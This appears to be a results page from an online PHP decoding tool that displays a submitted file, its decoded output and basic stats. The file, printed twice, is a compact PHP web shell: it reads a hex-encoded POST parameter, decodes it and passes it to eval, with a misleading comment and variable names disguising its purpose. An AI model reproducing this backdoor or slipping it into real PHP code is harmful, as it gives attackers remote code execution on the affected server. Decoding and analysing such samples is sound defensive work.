Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php class _ { static public $phpcms=Null; function __construct($l="error"){ ..

Decoded Output download

<?php 
class _ 
{ 
    static public $phpcms=Null; 
    function __construct($l="error"){ 
        self::$phpcms=$l; 
        @eval/*Defining error level offences*/(null.null.self::$phpcms); 
    } 
} 
function hexToStr($hex){ 
        $str=""; 
        for($i=0;$i<strlen($hex)-1;$i+=2) 
        $str.=chr(hexdec($hex[$i].$hex[$i+1])); 
        return  $str; 
    } 
$error = null.hexToStr(@$_POST/*\*/["1"]); 
$d = new _($error); 
?> 

Did this file decode correctly?

Original Code

<?php
class _
{
    static public $phpcms=Null;
    function __construct($l="error"){
        self::$phpcms=$l;
        @eval/*Defining error level offences*/(null.null.self::$phpcms);
    }
}
function hexToStr($hex){
        $str="";
        for($i=0;$i<strlen($hex)-1;$i+=2)
        $str.=chr(hexdec($hex[$i].$hex[$i+1]));
        return  $str;
    }
$error = null.hexToStr(@$_POST/*\*/["1"]);
$d = new _($error);
?>

Function Calls

None

Variables

None

Stats

MD5 be9133a621caed135ab1aac29484a9a8
Eval Count 0
Decode Time 49 ms